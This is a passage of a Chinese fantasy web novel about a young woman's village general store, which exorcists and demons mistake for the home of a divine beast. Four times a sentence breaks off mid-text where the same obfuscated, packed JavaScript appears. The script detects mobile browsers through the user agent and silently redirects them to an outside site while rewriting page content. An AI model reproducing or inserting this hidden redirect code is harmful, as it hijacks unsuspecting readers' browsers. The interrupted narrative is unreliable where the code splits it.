“你跟他们说，不要杀这只大鹅，我走的时候摔了一跤，衣服都弄脏了，给我买一身新衣服。” 老爷子说起话来，还挺清醒的。时愿点头：“好，我帮罗婶答应你。” 老爷子松开大鹅，远远绕开时愿，自己走出去了。 时愿摸了摸自己的脸，她长得应该不吓人啊？ 总之，任务差不多完成了。时愿出了鸡鸭舍，见罗婶脸色惨白，扶了她一把：“不舒服吗？” “还好，还撑得住。”罗婶擦了擦脑门上的汗，“你刚才和我家公说什么了？” 时愿一字不漏地转述。 罗婶喃喃自语：“原来是这样。这只大鹅，是我家公养的，他一共养了五只鹅，这是最后一只了。他老了以后，心软了，把这些鹅当成宠物一样照顾。” 时愿能理解，闻其声，不忍食其肉。 “我再给你换个灯泡，要是今晚还是频闪，你就给我打电话。” “好。”罗婶用气音问，“我家公去哪里了？” “没看见他，应该是回房间睡觉了。”时愿拍拍她的手臂，“你就满足石爷爷的心愿吧，不杀大鹅，买件新衣服，他就不同你们闹别扭了，你们家就太平了。” 时愿已经弄明白罗婶家的“灵异现象”是怎么回事了，应该是老爷子和家人闹别扭，故意搞这些小动作来吓唬他们。 罗婶连连点头：“我一定听你的。” 时愿换完灯泡，摘了一些果蔬，就同罗婶告别了。 罗婶塞给她一个红包。 时愿不肯收，罗婶就说：“那你给我办一张你店里的会员卡，把钱存进去。” 时愿确实在策划会员卡制度：“那好，你有空去我店里拿会员卡。” 时愿离开后，天上的乌云散开了。 阳光落在罗婶身上，她搓了搓自己的手臂，还是无法驱散钻心的寒意。 手机铃声响起，她打了个冷颤，赶紧接电话。 是她之前通过关系找的阴阳先生。 她吓得六神无主，到处找人帮忙，好不容易才联系到这一位，据说师门特别厉害。但是也特别忙，排队到现在才联系她。 “大师你好，我这边的事已经解决掉了，不用麻烦你了。”罗婶说，“我给你发个红包，辛苦你了。” “解决了？”周梦鹤问，“谁帮你解决的？” 周梦鹤听中间人的描述，知道这家人的鸡鸭舍是真进了东西，才答应帮忙。他担心她被神棍忽悠了，东西没送走，之后肯定会闹得更凶。 罗婶：“一个小姑娘。” 周梦鹤听笑了：“你家这个事不简单，一个小姑娘能帮你解决才怪了。” 罗婶：“她真的解决了，是我家公回来了。” “你家公上个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364206|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月去世了，知道这个消息的人，都能猜出来是他回来了。”周梦鹤说，“她可能是在演戏。” “不，她绝对没有在演戏。”罗婶想起之前那一幕，还是心惊肉跳。时愿蹲在地上同空气说话，她面前的那只大鹅以一种很古怪的姿势站着，歪着脖子，就像被人抱着一样。 罗婶语气认真：“她不是一般的小姑娘，你可以去打听一下，桂圩镇的时家小姑娘。” 挂了电话，周梦鹤去打听了一圈，根本没有人知道这一号“人物”。周梦鹤断定大婶被骗了，不知道有没有被骗钱。 周梦鹤没收红包，他得跑一趟桂圩镇，等解决完事情，再去会一会那个时家小神棍！ “哈秋！”时愿打了个喷嚏，把罗婶送的果蔬放进冰箱。 茄子好嫩，今晚吃茄子煲吧。 时愿拆开罗婶给的红包，里面有整整五百块，她给罗婶存进会员卡里。 唔，算是意外收获的生意。 存在她这里可以买东西，她家的商品物美价廉，好过便宜神棍！ …… 白树生把六瓶荔枝汽水带回妖界入口。 白树生迫不及待地告诉他们：“店主是神兽麒麟！” 白绘秋惊讶：“她告诉你的？” “那倒不是，我猜的。但是她承认她是能实现人心愿的神兽了！” 白绘秋得知这个消息，心里也有些不平静：“原来是上古神兽，难怪她有这么多的宝物。” 白树生：“绘秋，我这就给你用灵药，你会好起来的。” “等等。”白绘秋一直在琢磨店主的嘱咐，对两只小妖说，“小熊，树生，麻烦你们跑一趟，去请药兽过来。” 店主让她听医生的话，说明这些灵药不能乱用，要找个专门人才，否则功亏一篑。 两只小妖不敢耽搁，马不停蹄地请来药兽逢真。 逢真打开一瓶荔枝汽水，研究了足足两个小时，两只眼睛越来越亮，兴奋得满面红光：“研制出这个灵药的绝对是天才中的天才！” 白绘秋轻声：“逢大夫，你研究明白用法了吗？” “明白了。先用两瓶灵药，让你达到境界巅峰，引来雷云。等你被天雷劈得撑不下去的时候，再用两瓶续命，护住灵识。等天雷劈完，雷云散去，再用最后两瓶。届时，你将自灰烬中获得新的道体，你可以留在这里，也可以换个地方修炼。”逢真推了推眼镜，“研制出此药的前辈，或是臻于佳境的炼丹师，或是活了几千年的药兽祖师。你们到底是怎么得到这些灵药的？” 白绘秋没有回答：“会获得新的道体么……我明白了。” 那通电话的最后，店主对她说：“祝你早日康复，到时候可以来我的店里玩。” 她当时还在想，树是不能挪动的，店主竟然也会说客套话。 原来店主早就安排好了一切，店主是希望她获得新道体后，去守护杂货铺！ “逢大夫，开始吧。” 逢真比她还紧张激动，打来灵井水调配灵药…… 一切顺利推进，一大片雷云很快就聚集在银杏树的头顶。 “轰隆隆——” 时愿看了眼窗外，天黑得像晚上，紫色雷电在云层中闪动。 “谁在渡劫啊？” 抓紧时间回家收衣服去…… 5. 第 5 章 昨天那场雨，一直下到今早还没停。 下雨天出行麻烦，时愿没去买菜，下了碗面条当早餐。 生菜是昨天在罗婶家的菜园里摘的，脆嫩。鸡蛋是之前买的农家土鸡蛋，比超市卖的鸡蛋小一圈，但是特别香，是儿时的味道。 时愿吃着面，听着雨，想起罗婶家的菜园和鸡鸭舍。 亲手采摘果蔬，有种满足感。要是亲手种的，这种满足感应该会翻倍吧。 要不，她也种点菜？ 杂货铺是她小时候住的老瓦房，铺面后面是个很大的院子，没有铺砖，可惜爸妈是植物杀手，种什么死什么。 她家在隔壁盖了新楼房后，爸妈就更懒得打理了，杂货铺的院子就一直荒着。 时愿越想越觉得这个主意不错，决定找个时间请奶奶教她种菜。 吃完早餐，雨依旧没停。 时愿打伞出门，突然发现，店门口多了一棵银杏树。 店门口的树穴空了很久，光秃秃的难看，也不遮荫，夏天太阳直射铺面，热得受不了。 时愿一直盼着镇政府补种树木，没想到这么快就种上了，还是她喜欢的银杏。 时愿抬了抬雨伞，欣赏雨中稚嫩的银杏木：“小银杏，你可要茁壮成长啊。” 白绘秋渡完劫，毫不犹豫地奔赴愿望杂货铺。 看到杂货铺门口空空的树穴，她再次印证心中的猜想。店主缺一棵树，所以选中了她！ 白绘秋忐忑不安地等了一夜，终于见到店主。 店主撑一把冷翠色长柄伞，自雨中走来，伞面微扬，白绘秋看到她的脸，心里只有一个念头：树生说得不错，画皮妖再画一千年，也画不出店主的风骨。 白绘秋却不敢再看，压低枝条，向店主问好。 “小银杏，你可要茁壮成长啊。” 店主说得随意，白绘秋却被震住了。 在活了上万年的上古神兽面前，她这个1500岁的妖，确实和小孩没什么区别啊。 店门口蹲着一只眼熟的小猫，时愿收了伞，摸了摸小猫头，想起来了，这不是那只吃了就跑，没有小猫德的小橘吗？ “这场雨下得太久了，你也很难受吧？” 时愿拆了一包买鱼冻干送的试吃猫粮，倒在碗里给小猫吃。 “吃吧，不捣乱就可以留在这里。” 白树生心里酸酸的，店主果然洞察妖心，知道她心里在想什么！ 绘秋的这场雷劫确实拖了好长时间，看着绘秋被天雷折磨，她心里真的很难受。 白树生是在银杏树下出生的，她的母亲是一只普通的野猫，生下它之后就去世了。她本来也要死的，但是她的哭声太大了，吵醒了沉睡中的银杏妖。 白树生是被树养大的。 绘秋用树根教她捉猎物，用枝条帮她挠痒痒，用叶子给她做窝。 春去秋来，一年又一年，猫依偎树，猫浇灌树，她们总在一起。 绘秋要是死了，绘秋要是死了……白树生光是想到这个可能性，心都要碎掉了。 还好遇到了店主，绘秋熬过来了。绘秋要来杂货铺报恩，白树生当然要跟她一起。可是店主没有明示，白树生怕自己修为太低，不能留在店里，心里一直在打鼓。 可是店主不仅温柔地安慰了她，还给她一大碗珍贵的丹药，准许她留下。 她一定誓死守护杂货铺！ …… 这场雨好大。 吴雨站在路上淋雨，再一次拒绝了路人借伞的好意。 “我没事，我没失恋，也没想不开，精神状态良好……这是在做行为艺术实验。” “真的真的，不用管我，谢谢谢谢。” 路人狐疑地看着他，一步三回头地离开了。 吴雨当然不是在搞什么行为艺术，他是在赎罪。 叶先生和缠上他的狐仙说上话了。 狐仙要让吴雨也试试在外面淋雨、无家可归的感觉，才肯消气。 下午两点，雨总算停了。 吴雨冷得直哆嗦，皮肤都被雨水泡皱了，但他不能换衣服，以这副狼狈的姿态飞奔到山上，给狐仙重新砌坟，重新描绘墓碑。 等完成这一切，他身上的衣服干透了，脸上一点血色也没有，摇摇欲坠。 叶先生让他磕三个头，再上一炷香。 吴雨照做。 “香火没断，你这条小命算是保住了。”叶先生握着他的臂弯，把他提起来，“下次再来这种荒山野岭，擦亮你的眼睛，别乱踢乱坐。” 吴雨：“我再也不敢了……” 吴雨感觉浑身都在发烫，一会儿冷一会儿热，回去肯定要生一场病。 叶先生看起来也比他好不了多少，戴着副墨镜，脸白如纸。 爷爷说，叶先生这两天在处理一件棘手的事情，受了点伤，为着他的事，叶先生带着伤过来，一个操作不当可是会折寿的，让他一定要听话懂事，好好配合。 叶先生这么厉害，怎么会受伤呢？吴雨很好奇他发生了什么，但是坚决不问。 好奇心害死猫，经过这件事，吴雨再也不想和另一个世界扯上任何关系了。 送他回到家，叶先生用柚子叶在吴雨身上拍了一遍，给了他一串红线，叮嘱：“你被缠得太久了，运势很低，开学之前最好别乱跑，免得又被奇怪的东西缠上。把红线放在枕头底下，如果一定要出去，就带上那把油纸伞。” “好，我记住了。” “你说那位高人是开杂货铺的，知道住址吗？”叶先生抿了抿薄唇，“我想去拜访一下她。” 吴雨：“知道，大佬的朋友圈有定位。” 叶先生看了定位，微微讶异：“这么偏僻，看来是一位喜静的前辈。” “这里也太偏僻了吧！”周梦鹤看了眼导航，把车子开上山坡，停在一片荒地上。 再往里走就是罗婶家，开着车太明显了。他把车丢在这里，往村子里走。 路上静悄悄的，半个人影都没有，周梦鹤看着中间人以前画的地图，顺利找到了罗婶家。 周梦鹤拿出沙漏，准备检测一下附近的阴气，却透过围墙的花窗看到罗婶和她男人在烧东西，嘴里念念有词。 罗婶声音小，周梦鹤听不清，但他会读唇语。 罗婶说的是：爸，我们不杀大鹅了，还买了两只鹅来陪它，它们现在天天伸长脖子到处巡逻，特别活泼。爸，你要的新衣服我们也买了，买了三套你换着穿，有睡衣有西装有休闲服，还有皮鞋拖鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364207|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，现在烧给你，你快点来领。 周梦鹤皱眉，没有布阵送祟，让事主自己给闹事的阴魂烧东西？这是什么野路子？ 风吹得树木沙沙响，沙漏的沙子开始倒流。 周梦鹤的神情变得严肃。 来了。 烧火盆里的灰烬被风刮到空中，飞快地旋转，罗婶养的那群大鹅盯着同一个地方，伸长脖子大叫。 罗婶夫妇被吓得跌在地上，脸色惨白。 “爸，是你回来了吗？” “我们都听你的，你放心走吧。” 风停了，纸灰落在地上，罗家门前的灯无缘无故亮了起来。 罗婶拍着胸口，惊魂未定：“爸走了，他原谅我们了。” 沙漏里的沙子缓缓流下，周梦鹤一脸的难以置信。 居然被那个姓时的小神棍误打误撞蒙对了！ 罗婶一家人身上还有阴魂留下的气息，小神棍没有真材实料，没有帮忙解决这个问题。放着不管，罗婶一家肯定会出一些意外。 罗婶对她男人说：“多亏了小愿，昨天忘记给她鸡蛋了，我捡一些鸡蛋送过去，顺便拿会员卡。” 大叔频频点头：“应该的，问问她什么时候有空，请她来家里吃饭。” 罗婶捡鸡蛋去了。 周梦鹤回到车里，等罗婶开着电动车出来，马上驱车跟上去。 当神棍还开会员卡，太过分了！ 他要当面拆穿那个小神棍！ 周梦鹤本来还担心开得太慢会被罗婶发现，没想到罗婶的小电驴风驰电掣，咻地一下就到了目的地。 这是一间很破的杂货店，屋顶的瓦片长着青苔和杂草，褪色的木门和木窗全部敞开，各色各样的廉价商品塞满货架。 罗婶提着鸡蛋篮子走进店里，喊了一声：“小愿！” 坐在窗边的姑娘抬起头，雪肤墨发，连睫毛落在鼻梁上的影子都显得秀丽。 周梦鹤有点纳闷，长成这样还要当神棍？ 周梦鹤解开安全带，刚探出身，就被人抓着肩膀摁回车里。 周梦鹤一声脏话还没骂出口，眼睛先瞪圆了：“叶师叔，你怎么在这里！嘶，怎么还不松手……” “为了阻止你去找死。”吴雨口中的叶先生，叶幽尘丝毫没有松劲，钳制着周梦鹤的肩膀说，“看你一脸怒气冲冲，想进杂货铺找麻烦？” “我哪有怒气冲冲。”周梦鹤否认，“我是一脸严肃，师叔你不知道，那个店主是骗人的……” 周梦鹤像被人掐住脖子，一句话也说不出来了，因为他看到，罗婶提着一大袋东西从店里出来，身上半丝阴气也无。 周梦鹤突然想到：罗婶说的会员卡，难道是杂货铺的购物会员卡？ 而且，短短时间就消除了罗婶身上的阴气，这个店主绝对是真大佬……能碾压他的那种！ “发现了？睁大你的眼睛看看，杂货铺门前的那棵树。这里是你能乱闯的地方吗？”叶幽尘摘下墨镜，递到他眼前。 透过镜片，周梦鹤看到磅礴的妖气几乎笼罩整条街道，能做到这个程度，道行至少上千年。 千年树妖竟然在此处看门，那店主是……？ 周梦鹤不敢深想，被自己的莽撞吓出一身冷汗。 6. 第 6 章 周梦鹤的“嚣张气焰”不复存在，近一米九的大高个，灰头土脸地缩在车里，鹌鹑似的耷拉着脑袋，同叶幽尘解释自己为什么会误会店主。 叶幽尘听罢点点头：“我明白了，你先离开，我会代你道歉。人外有人，天外有天，别以为偏僻乡镇没有高人，以后做事不要再这么莽撞。” 周梦鹤心说，养着千年树妖看门户，这哪里是高人，分明是快成仙了！他没敢说出口，知道自己差点连累师门，哪里还敢口无遮拦？ 目送周梦鹤的车安全离开，叶幽尘深吸一口气，走向杂货铺。 刚走到门口，一阵无形的压力从天而降，叶幽尘承受不住，膝盖磕在地面上，苍白的脸上沁出冷汗。 是银杏树释放的妖力。 他和周梦鹤的对话当然逃不过千年树妖的耳朵，这是树妖给他的教训。他放走了对店主不敬的周梦鹤，自然要承受店主的怒火，叶幽尘咬牙受着。 时愿在窗边练字，隔一段时间就会看向窗外，一来放松眼睛保护视力，二来照看生意。 这一回，她往外看，看到一个青年跪在地上，浑身颤抖，像是急症发作。 她连忙放下笔，小跑到青年面前：“你哪里不舒服？有没有带药？” 店主一出来，像大山一样压在身上的妖力就消散了。叶幽尘呼出一口气，余光看到，银杏树枝在不安地颤动。 叶幽尘当即明白，银杏妖对他做的事并非店主授意。现在店主关心他，银杏妖怕他告状，店主怪罪它。 叶幽尘：“只是低血糖，我休息一下就好了。” “进店里休息一下吧。”时愿扶青年进店，给他拿了张椅子，又递给他一瓶苹果汁：“喝点，补充糖分。” “多谢。”叶幽尘让坐就坐，让喝水就喝水，目不斜视，不敢看店主的脸，更不敢到处张望。 一只橘猫绕着他打转，有意无意地释放出妖气。 橘猫体型虽小，给人的压力却不亚于一头猛虎。 叶幽尘的后背被汗水打湿了。 时愿问：“你怕猫？” “不怕。”叶幽尘硬着头皮回答。 神色紧张、沉默寡言、坐立不安、戴着墨镜都藏不住的目光回避，又不是怕猫……时愿得出结论：此人社恐。 和社恐打交道，要坚持三不原则： 不打扰、不打扰，还是不打扰。 时愿坐回柜台后面，继续练字。 写了几页，她看了眼时钟，马上傍晚五点了。 时愿放下笔，问青年：“你好点了吗？” 叶幽尘挺直背脊，立刻回答：“好多了。” “那就好，其实我要下班了。”时愿把写得最满意的字钉在墙上晾干。 叶幽尘小心翼翼看了一眼，宣纸上写的是“待到重阳日，还来就菊花”。 这句诗出自孟浩然的《过故人庄》，意思是等到九九重阳节到来时，再请君来这里观赏菊花（1）。 叶幽尘脸色更白了，店主要送客，让他重阳节再来！ 都怪他太自作主张，没有让周梦鹤负荆请罪，进店这么久，也没有抓住道歉的机会！ 今年有闰月，距离重阳节还有两个多月，他实在无法支撑到那个时候。 叶幽尘急得不停冒汗，反复抿着薄唇，攥着果汁瓶的手背上青筋毕现。 “你是不是有什么话想说？”时愿觉得不能太为难一个社恐，更直白地说，“你想在这里休息久一点也是可以的。” 别在外面晕倒了。 这句话宛如天籁，救赎了即将坠落深渊的叶幽尘。 店主愿意再给他一次解释道歉的机会！ 叶幽尘起身，对时愿鞠躬：“对不起。” 时愿：“用不着说对不起啊……” 叶幽尘语气恭敬：“我必须向您道歉。我的师侄被他的父母宠坏了，行事莽撞，误会您欺骗罗婶，想要上门和您对峙，已经被我赶回去了。这件事我处理得不妥，明天我会带着他过来，让他当面向您叩头认错。” 时愿：？？？ 时愿抓住关键词捋了捋，大致明白这是怎么一回事了。 罗婶今天来找过她，喜气洋洋地说，事情都解决了，家里太平了。还提起了她曾经联系过一位大师。 罗婶的原话是：“我和大师说，你帮我解决了，大师还非不信呢！反正我相信自己的眼睛，小愿，你比这些大师还厉害！” 也就是说，这位青年是那位“大师”的师叔，“大师”坚信她是骗子，要上门找麻烦，被青年劝退了。 青年受她照顾，良心不安，所以郑重道歉。 时愿：“我明白了，你做得对，叩头认错就算了，不用带他过来。” 话说回来，干他们这行的还真是老派啊，应该只是说说吧，不会真的给她磕头吧？ “您宽宏大量，他一定会改过自新。”青年又道，“还有一件事要和您道歉，我不是同师侄一起来的，只是碰巧遇上他。我是从吴雨那里问到店址的，来之前没有告知你，十分抱歉。” 时愿对吴雨有印象，是那位提供荔枝汽水的好心人，对传统文化很感兴趣。 眼前这个青年竟然同时和吴雨、罗婶扯上关系……县城真小，兜兜转转都是相识的人啊。 “我打开门做生意，当然不介意客人不请自来。”时愿问他，“你是来买伞的吗？你坐下说话。” 这么高的个子，一直杵在那里，头也不敢抬起来，时愿看着都替他累。 叶幽尘如释重负，店主愿意同他谈生意，说明真的原谅他了！ 叶幽尘坐下，依旧不敢松懈：“我不是想买伞。最近工作的时候出了点意外，我的视力下降了很多，我希望能改善这个情况。” 有东西从冥河游上来了，一路上犯了不少事。到了他的地界，他当然有义务协助抓捕。 可是这东西太凶了。 一位同仁被拖下水，当即殒命。其余几人受了不同程度的伤，他伤在眼睛——那东西的脏水溅进他的眼睛里，他变成了半瞎。 借助这副阴阳墨镜，才能看到以前裸眼就能看到的东西，譬如阴气和妖气。 更棘手的是，他的视力还在下降，要不了多久，就会变成一个瞎子。 其他人听到这个要求，一定觉得青年很奇怪。 杂货铺当然没有能改善视力的东西，就算有，也没必要大老远跑来偏僻小店找。 但时愿能理解，遭遇变故的人，心灵脆弱，情绪敏感，脑回路和平时不太一样，有时会做出一些古怪的举动——她体验过这种感觉。 时愿在心里叹了口气：“你去看医生了吗？” 叶幽尘：“看过了，他们都治不了。” 道医巫医都视频问诊过了，全都摇头。 那东西记住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364208|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他了，随时会找过来。 那东西喜水，最近多雨，他现在看不清那些东西，要是避不开，将会很危险。 时愿找出一根黑胡桃木手杖，递给他：“马上天黑了，或许你需要这个。” 叶幽尘看着店主手中的手杖，心情难以平静。他即将陷入永恒的黑夜，与其焦虑不安，不如早日接受。想必，这根手杖会是他克服无尽黑夜的利器。 他感激地接过手杖：“谢谢您，我应该支付多少钱？” 叶幽尘看不出这根手杖的特别之处，但吴雨的伞也看似平平无奇。所以他笃定，这根手杖定然不是凡品！倾家荡产也要拿下！ 时愿：“给你打个折，50块。” 叶幽尘差点以为自己听错单位。 他愣了一会儿：“前辈，您在这里住，有什么不顺心的地方吗？” 前辈……？ 难道这小伙子因为眼疾道心破碎，也想回乡下住？ 时愿坦言：“我住得挺舒心，这里的公共交通没这么便利，不过我有一辆电车，走高速去县城和市中心用不了多久。这里靠海，早晚可以去看日出日落，吹吹海风。当地人爱吃会吃，所以有不少美食店，味道都很不错。我个人比较烦恼的，只有一件事。” 叶幽尘追问：“什么事？” “镇上没有好吃的面包店。”时愿叹气，“我吃的又不多，总不能为了买一两个面包特意跑去市里吧？” 当地只有两家蛋糕店，偶尔做一点面包，味道不太好。 叶幽尘认真点头：“我明白了。” 谈钱俗气，但总要为前辈做点什么，才能回报她的慷慨。 青年不是当地人，时愿本来不想向他推荐会员卡。现在他有搬家的打算，就不一样了。 “你要办一张会员卡吗？” “办！”叶幽尘扫码，“我先充值一万元可以吗？” 时愿：？？？ 这是要搬空她的店吗！ 时愿好说歹说，叶幽尘终于同意，只充值一千块。 时愿不太明白，怎么一个两个都喜欢来杂货铺冲动消费啊，现在的流行吗？ 时愿在电脑上录入会员信息，问道：“你叫什么名字？” “叶幽尘。幽静的幽，尘世的尘。” 时愿亲自送大客户出店：“你不要放弃，多找几个专家，一定能重见光明。天都黑了，你还是别戴墨镜了，能看得清楚一些。” 叶幽尘连连点头，但心里清楚，绝对找不到比店主还厉害的专家。 离开杂货铺后，叶幽尘去找了家店吃饭。银杏妖的余威还在，他特意选了远离杂货铺的街道。 没想到，一顿饭的功夫，突然下起大雨。 雨水哗啦啦地往下水道流。 叶幽尘看着路上的积水，有些焦虑。 他拿出手机，打周梦鹤的电话。 “您拨打的电话暂时无人接听……嘟……嘟……” 手机屏幕频频闪烁，叶幽尘看到，泼进店里的雨水古怪地打着转。 那东西追着他过来了……不对，这里靠海，那东西顺河而下，目的地是大海！ 入了海，就没人能奈何它了。到时，出海的人将无一生还。 不能留在店里，会给这家店带来厄运。 叶幽尘从钱夹里抽出两百块，用牙签筒压在桌上，抽出店里的备用伞，踏入雨幕。 7. 第 7 章 身为一棵树，一棵活了1500年的树，白绘秋从前最不害怕的就是静止和沉默。 而此时此刻，白绘秋在店主无言的注视下，体会到了那位人类术士——叶幽尘在店主面前坐立不安的感觉。 送叶幽尘离开后，店主脸上的笑容消失了，站在店门口，一言不发地看着她。 店主是仙人之姿，不笑的时候，周身气质更加清冷，尤其是那双墨瞳，充满灵气，仿佛随时会转变成极具压迫力的瑞兽之瞳。 白绘秋心中的不安随着时间的推移逐渐放大，屏住呼吸，连叶子都不敢动弹。 从店主刚才对待叶幽尘的态度来看，一定是对她自作主张教训叶幽尘这件事感到不满。店主在外人面前给她留了面子，现在客人走了，店主准备惩罚她了。 白树生感受到的压力不比白绘秋轻，自从猜中店主的真实身份，她的视野就打开了，发现店主举手投足之间，自带强大气场。 店主不说话，她就不敢打扰，生怕火上浇油。 时愿看着门前新种的银杏树，发现它的叶子开始黄了，看起来没有之前精神，有点蔫哒哒的。 叶子变黄应该只是入秋的原因吧？变蔫了可能是还没有适应这里的土壤……唔，应该能活下来吧？ 时愿有点担心，爸妈的植物杀手属性应该还没到门前寸草不生的程度吧？ 时愿在记忆中搜寻一遍，发现从小到大，她家门口确实种什么死什么，连仙人掌都活不下来。后来政府铺路，门前的空地统一铺砖，只留下树穴种行道树，种的多是又能遮荫又结果子的龙眼树，可以赏花的木棉或者紫荆。别人家门前的行道树长势喜人，他们家门前……前前后后补种了好多次。 不该长草的屋顶倒是长满了不请自来的青苔和杂草。妈妈曾经戏言，她家应该把养不活的植物扔到屋顶，没准就死而复生了。 回忆就此打住，时愿看着门前的银杏树叹了口气：小树啊小树，你要坚强，努力打破魔咒。 白绘秋没忍住，浑身一颤！ 店主为何突然叹气？ 是思索过后，决定放弃她了吗？要让她滚回山上去吗？ 对于店主而已，她只是一棵平平无奇的才活了1500年的普通银杏树，店主随随便便就能找到替代她的树。 况且，店主早就说过：不捣乱就可以留在这里。这句话的意思是，要是给店主捣乱了就得走啊！ 白绘秋一万个不想离开，一来是为了报恩，二来……她初来乍到，已经能感受到此间灵气比妖界入口还要充沛，难怪店主要在这里开店。 用现在流行的话来说，她有一个朴素的愿望： 她想当大佬的腿部挂件QVQ。 罚她什么都好，别赶她走行不行？ 今天下了那么久的雨，泥土都浇透了，用不着给树浇水。 时愿收回目光，开始思考一个重要问题： 今晚吃什么呢？ 时愿背着手，在门前踱步，回忆冰箱里还有什么。 她今天没买菜，除了罗婶和刘叔送的水果、鸡蛋，就只剩下冻鸡翅了。 化冻要好久。加班到现在，她都饿了。 时愿自言自语：“有点麻烦。” 白绘秋时刻关注店主的反应，只见店主来回踱步，突然停下，笔直浓密的睫毛在雪冷的脸上投下一片阴霾。她的声音比表情更冷：“有点麻烦。” 事态严重！ 店主要放弃她了！白绘秋绞尽脑汁想自救的法子，忽然想到，店主本来要关门送客，但那位人类术士诚恳认错后，店主给了他一次机会。 白绘秋决定抓住机会诚恳认错。 店主隐藏身份，在人间过着普通生活，白绘秋和白树生也恪守这条规则，妖形态时不说人话。 不开口要怎么认错？唯有以树的方式。 银杏树抖了抖枝条，落叶随风起舞，围绕在时愿身边，螺旋上升，在落日余晖中，仿佛散发着点点光芒。 时愿被这阵风拉回思绪，伸手去抓风中的落叶，唇角微微扬起。 好美啊。 小腿传来毛茸茸的触感，时愿低头一看，小橘蹲在她脚边，主动用脑袋蹭她。 真可爱呢。 应该是饿了吧？ 时愿俯身摸了摸小猫的脑袋，回到店里，给它倒了一碗猫粮，又换了新的饮用水。 “咪咪，我要下班了，你要好好看店哦。不要让坏人把我们的店搬空了。”时愿严肃叮嘱，“要是打不过，就跑。” 时愿把猫留在店里，给它留了出入的缝隙。 小猫很有灵性地点了点头：“喵～嗷！” 时愿锁上门，看到那些银杏叶还在风中飞舞。 还不到最佳移栽季节，就被种到植物杀手的门口，这棵银杏也是不容易呢。 “早点适应新环境。”时愿拍了拍银杏的树干，“长得茂盛一点。” 小时候，外婆曾经对她说，要想植物长得好，得多鼓励鼓励它们。外婆说，植物也是有脾气的。 看着银杏叶，时愿莫名想起了牛肉片，口中分泌出酸水。决定了，去吃砂锅牛肉刀削面。今天生意不错，应该去庆祝一番。 这家店的老板是从北方来的，做的面食堪称一绝。 据说他老婆特别爱吃面，为了追到他老婆，他苦练厨艺，一路追来这座偏僻的南方小镇，最终如愿以偿，在这里安了家。 店主离开后，紧绷的银杏树缓缓放松下来。 橘猫跳上银杏树，露出劫后余生的表情：“绘秋，你这个认错的方式太妙了，我看到店主的表情一下就和缓了，就像，就像冬天的冰河融化了。” 白绘秋对白树生说：“我渡劫的时候都没有这么紧张，下次不能再这么莽撞了。” 白树生：“那下次遇到这种事，我们该怎么做？” 白绘秋揣测店主的态度：“店主的意思，应该是让我们快点适应人类世界，分清客人和敌人，惩罚不礼貌的人类要把握好度，今天我做得太过了。” 白树生：“原来如此，我明白了。” “树生，我悄悄观察了一天，店主对凡人有求必应，她可能真的是麒麟。”白绘秋说，“我们一定要努力留下来，这是千年难得一遇的机缘。” 白树生用尾巴圈住树枝：“我会努力的。” “啪嗒啪嗒……”又下雨了，小橘猫钻回店里，搬来椅子抵住门，不让雨水从缝隙泼进店里。 叶幽尘走出餐厅，执伞踏入雨幕。 天空彻底暗了下来，路灯却没有亮起。路上没有行人，也没有飞驰的汽车。 他回头看，餐厅还亮着灯，但老板和食客都消失了，店里播放的音乐也停了，只有自动感应门在不停地开开关关，似乎有看不见的人在频繁进出。 雨越下越大，不知道哪个下水口堵住了，积水迅速上升，没过脚踝。 叶幽尘一手持伞，一手紧握手杖，墨镜之下的眼睛警惕地观察四周。 他被那东西拉进虚境里了。 所谓虚境，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364209|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看起来和人间一样，但实际上不存在于人间的空间。要是在这里逗留太久，就再也无法回到真正的人间。 大家耳熟能详的鬼打墙就是其中一种虚境，中招的人不管怎么走也走不出循环，最终精疲力竭。 吴雨的噩梦也是一种虚境，任其发展下去，终有一日分不清梦境和现实，再也走不出来。 一般情况，邪祟只会在偏僻旧巷、深山野林这种人迹罕至的地方，将猎物拉入虚境。 但这东西太凶了，又刚吞了活人，趁着暴雨，在闹市就敢对他下手。 